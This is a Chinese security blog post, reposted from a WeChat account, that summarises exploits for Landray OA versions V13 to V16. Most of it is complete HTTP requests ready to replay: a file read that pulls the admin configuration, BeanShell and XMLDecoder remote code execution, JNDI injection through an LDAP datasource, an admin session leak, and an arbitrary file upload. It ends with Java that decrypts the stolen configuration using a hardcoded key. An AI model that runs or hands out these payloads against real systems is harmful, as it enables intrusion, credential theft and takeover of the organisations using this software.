基本介绍:
蓝凌OA版本
- 不存在/resource/js/aes.js则为V13
- 存在/resource/js/aes.js
- 不存在 /resource/js/address.js 则为V14
- 存在/resource/js/address.js
- 不存在/resource/js/dialog_ding.js 则为V15
- 存在/resource/js/dialog_ding.js则为V16
curl -v https://x.x.x.x/admin.do?method=exportModuleVersion
蓝凌OA权限认证
蓝凌oa采用acegi(spring security前身)权限校验框架, 所有的配置信息authenticationspring.xml中, 在配置文件匿名路径中的路径可直接匿名访问. 此外, 路径对应的权限在design.xml中配置, 如果这个path路径没有在design.xml中进行配置, 则不需要权限校验,相当于匿名访问, (如/sys/ui/extend/varkind/custom.jsp,还有今年的sysUiComponent文件上传, 这些漏洞路径不在匿名路径中,也不在design.xml中)。本文仅针对前台能直接利用的漏洞进行总结。
蓝凌V13
-
custom.jsp文件读取
POST /ekp/sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:192.168.1.2:8080
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
该漏洞通常配合几个后台漏洞进行利用:
Bsh代码执行:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 192.168.1.2:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami"
XmlDecoder反序列化:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 192.168.1.2:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 328
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
JDBC反序列化和JNDI注入
POST /ekp/sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: 192.168.1.2:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=D79BB3CBC025C413692AEC9999FD2755
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
解密
JDBC/JNDI注入
POST /ekp/admin.do HTTP/1.1
Host: 192.168.1.2:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://192.168.1.2:8080
Connection: close
Referer: http://192.168.1.2:8080/ekp/admin.do?method=config
Cookie: JSESSIONID=D79BB3CBC025C413692AEC9999FD2755
Content-MD5:ls
cmd:whoami
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
method=testDbConn&datasource=ldap://x.x.x.x/Basic/
蓝凌V15/V16
1. 代码执行
POST /data/sys-common/dataxml.js HTTP/1.1
Host: 192.168.1.2:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");
以下几个接口均存在这个问题:
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson
2. session泄露
POST /api/sys-authentication/loginService/getLoginSessionId.html HTTP/1.1
Host: 192.168.1.2:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
loginName=admin
3. sysUiComponent任意文件上传
POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundaryLX0kdyEWjxgO2xJP
-----------------------------WebKitFormBoundaryLX0kdyEWjxgO2xJP
Content-Disposition: form-data; name="file"; filename="sec.zip"
Content-Type: application/x-zip-compressed
zip文件
-----------------------------WebKitFormBoundaryLX0kdyEWjxgO2xJP--
蓝凌oa后利用:
public static void decryptConf(String filename) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] bytes= Files.readAllBytes(new File(filename).toPath());
DESEncrypt des = new DESEncrypt("kmssPropertiesKey");
ByteArrayInputStream byteArrayInputStream= (ByteArrayInputStream)
des.decrypt(new ByteArrayInputStream(bytes));
int ch=0;
byte[] b=new byte[1024];
while ((ch=byteArrayInputStream.read(b))!=-1){
baos.write(b,0,ch);
}
System.out.println(new String(baos.toByteArray()));
}
public static void main(String[] args) throws Exception {
decryptConf("kmssconfig.properties");
}
原文始发于微信公众号(哈拉少安全小队):蓝凌OA漏洞利用总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论